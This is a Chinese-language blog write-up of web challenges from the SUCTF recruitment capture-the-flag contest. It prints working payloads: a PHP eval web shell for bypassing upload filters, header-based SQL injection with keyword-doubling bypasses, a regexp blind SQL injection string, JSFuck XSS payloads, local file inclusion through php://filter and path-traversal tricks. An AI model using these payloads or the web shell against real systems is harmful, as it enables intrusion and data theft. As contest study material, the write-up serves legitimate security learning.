Xi4or0uji's blog

suctf招新赛wp

字数统计: 2k阅读时长: 8 min
2018/11/15 Share

招新赛这段时间刚好撞上一堆其他比赛,肉鸡肝不动了,趁着这几天平台还没关赶紧做一下。

where are you from level1

这题点进去看见hello from + 本机ip地址,而且提示only guest from 127.0.0.1 can get flag of level1,抓包将client-ip改成127.0.0.1就有flag了

include me

这题点进去可以看到一个改变语言的选择框,选下其他的发现除了语言有变化,网站连接的后面lang的值也会改变,可以想到这是一个文件包含的点

尝试一下进行伪协议利用,?lang=php://filter/read/convert.base64-encode/resource=index.php,发现确实可以进行文件读取,解密就有flag了

yunpan

这个网站点进去可以看到一堆的文件,点开后面几个视频将它们下下来,看了一下,都是葫芦娃,没看出什么,点开readme.txt也只是一堆的嘤嘤嘤…….仔细看看,发现有个302

解密一下这堆base64,发现正好是readme.txt,将flag.php解密一下发过去,发现有个flag.php下下来,打开就有flag了

onepiece

这题点开看见网页显示用了phpstorm,想一下平时我们用phpstorm的时候总是会有一个.idea文件,尝试一下在链接后面加.idea,发现一堆文件

将他们下下来发现里面有UpL0ad.php、README.html、index.php
访问UpL0ad.php是一个文件上传的地方
访问一下readme.html看见

于是在链接后面加个onepiece.zip,发现有文件下下来,里面有个jiami.php,打开看见一堆混淆代码,找个网站解密一下 https://tool.lu/php ,可以看见

很明显的变量覆盖,在upload.php页面上抓包将file的变量改成flag就拿到flag了

easy_upload

这题很明显的文件上传漏洞,尝试一下上传php文件,嗯,确实触发waf了,只允许传png文件,改下content-type成image/png,然后再把后缀改成phtml就可以上传文件了,但是却回显不能包含<?php,这里用javascript去绕过

1
2
3
4
5
<head>
<script language="php">
eval($_POST["cmd"]);
</script>
</head>

发现成功上传文件,菜刀连过去打开flag.php就有flag了

baby_upload

这题也是文件上传的题目,点进去尝试一下传个php文件,也是只能传图片,想传个php文件然后改变绕过,结果发现开着代理刚选完文件就弹只能选图片,看来前端有个js检测文件的,看下源码确实是有

想禁用了火狐的js然后再改包,可是不知道为什么禁用了还是发不了包,只能先发一个图片的包然后改,最后改了content-type和后缀成phps再加一句shell语句就能成功get flag了

php is No.1

点进去看见一堆源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
include 'flag.php';
isset($_GET['time'])?$time = $_GET['time']:$time = 0;
isset($_GET['num'])?$num = $_GET['num']:$num = 0;
$c=is_numeric($time) and is_numeric($num);
if ($num == 0) {
if($num){
if($c){
if(!is_numeric($time))
echo 'Time time must be number';
else if ($time < 60 * 60 * 24 * 30 * 1)
echo 'This time is too short';
else if ($time > 60 * 60 * 24 * 30 * 2)
echo 'This time is too long';
else{
sleep((int)$time);
echo $flag;
}
}
else
echo 'Try again';
}
else
echo 'Try again';
}
else
echo 'Try again';
echo '<hr>';
highlight_file(__FILE__);
?>

简单来说,就是要传两个值,一个num一个time,然后num要是数字且等于0,然后time的值必须在2592000和5184000之间,如果符合让浏览器sleep time的时间,然后再输出flag,显然直接让浏览器睡这么长是不现实的,所以我们要用科学计数法绕过,至于num,就用%00截断,或者输个字符也行

where are you from level2

这里我们要先看level1出来的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
function getIp(){
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$cip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(!empty($_SERVER['REMOTE_ADDR'])){
$cip=$_SERVER['REMOTE_ADDR'];
}
else{
$cip='';
}
$cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
return $cip;
}
$query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");

可以看到,select等关键字被过滤了,但是可以用重写去绕过,剩下的就是注入了
Client-Ip: 12’,(selselectect//database()))#

Client-Ip: 12’,(selselectect/
/group_concat(table_name)//ffromrom//information_schema.tables//where//table_schema=database()))#

Client-Ip: 12’,(selselectect//group_concat(column_name)//ffromrom//information_schema.columns//where//table_name=’flaaag’))#

Client-Ip: 12’,(selselectect/
/fl4g//ffromrom//flaaag))#

好了,flag就出来了

classic sqli

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);
$black_list = "/guest|limit|substr|mid|like|or|char|union|select|greatest|\'|";
$black_list .= "=|_| |in|<|>|-|\.|\(|\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit("Hacker detected!");
if(preg_match($black_list, $_GET['pw'])) exit("Hacker detected!");
$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'";
$result = mysqli_query($link, $query);
$result = mysqli_fetch_array($result);
$admin_pass = mysqli_fetch_array(mysqli_query($link, "select pw from chal where user='admin'"));
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Bonjour!, {$result['user']}</h2>";
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
echo $flag;
}
highlight_file(__FILE__);
?>

这题是正则表达式盲注,过滤了很多东西,普通的盲注基本是不可能的了,只能进行正则盲注获得管理员的密码。
利用regexp去匹配正则表达式,用/**/代替空格,最后用%00进行截断
payload:

1
?user=\&pw=^0%26%26user/**/regexp/**/0x61646d696e%26%26pw/**/regexp/**/%22^{}%22;%00

肉鸡技术太差,脚本报了个错,最后只能用burp去进行注入了(逃
这里就不贴脚本了,最后爆出密码是1adpmh105i31,登录就完事了

xss1

源码

1
2
3
4
5
6
7
8
9
10
11
<script>
function check(input) {
while (input.indexOf('alert') >= 0) {
input = input.replace(/(alert)+/g, '');
}
input = 'console.log("' + input + '");';
var script = document.createElement('script');
script.innerText = input;
document.body.appendChild(script);
}
</script>

这道题题目提示说alert(1)就行,但是可以看见,无论有多少个alert,js代码都会将它去掉,因此我们只能用其他的办法进行绕过,这里用jsfuck编码构造payload,只要闭合了前面的console.log,再注释掉后面的符号就可以弹1了

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();//

好了,flag get√

未完待续,先让肉鸡搞懂先

xss2

源码

1
2
3
4
5
6
7
<script>
function check(input) {
input = input.replace(/[^\[\]\!\+]+/g, '');
console.log('Filtered input: ' + input);
eval(eval(input) + '(1)');
}
</script>

可以看到,正则表达式只允许[]和!,因此我们还是回到jsfuck编码的利用

1
2
3
4
5
a: [![]+[]][+[]][+!![]]
l: [![]+[]][+[]][!+[]+!+[]]
e: [![]+[]][+[]][!+[]+!+[]+!+[]+!+[]]
r: [!![]+[]][+[]][+!+[]]
t: [!![]+[]][+[]][+[]]

将他们加起来就是payload了

1
[![]+[]][+[]][+!![]]+[![]+[]][+[]][!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]

403readfile

这题进去看到一个非常非常真的403页面,但是看下状态码是200,嗯,搞事情啊
然后扫下后台看见有个robots.txt,访问看一下有两个disallow,一个是flag.php,一个是get.php
估计也是文件包含什么的了,果然点开get.php看见里面有个链接,点了以后有个file,没错了,就是这里了,最初的链接是./1.txt,发现去掉./直接访问1.txt也可以找到文件,大胆猜测是不是过滤了./,果然,尝试一下访问in./dex.php也是可以正常回显的,确定是过滤./了,访问一下fl./ag.php发现文件找不到,emmm,尝试一下上一个目录,?file=…//fla./g.php,然后就发现拿到flag了

secure html

这题后台的思路是secure_html.php先给你一个输入框,然后你在里面写东西,然后就根据你的session去创建一个对应的html文件,放在pages目录下,然后再将新建的html文件的内容插入secure_html.php的开头
因为自己创建的html的内容的可控的,所以我们只需要在里面插入php代码,然后执行就可以实现任意命令执行了,但是尝试一下发现secure_html.php对php过滤的很严格,就算是转成script去写也是会被过滤掉…emmm…看来此路不通=_=
这里插一个知识点,在nginx开启了webdav模块的时候是支持用http方法中的PUT方法更新文件的,所以我们可以尝试一下将php语句写进去已经创建了的html文件
这里的flag文件是在根目录

这样我们就将php语句写进去html文件了,再次访问secure_html.php文件也就可以拿到flag了

CATALOG
  1. 1. where are you from level1
  2. 2. include me
  3. 3. yunpan
  4. 4. onepiece
  5. 5. easy_upload
  6. 6. baby_upload
  7. 7. php is No.1
  8. 8. where are you from level2
  9. 9. classic sqli
  10. 10. xss1
  11. 11. gallery
  12. 12. xss2
  13. 13. 403readfile
  14. 14. secure html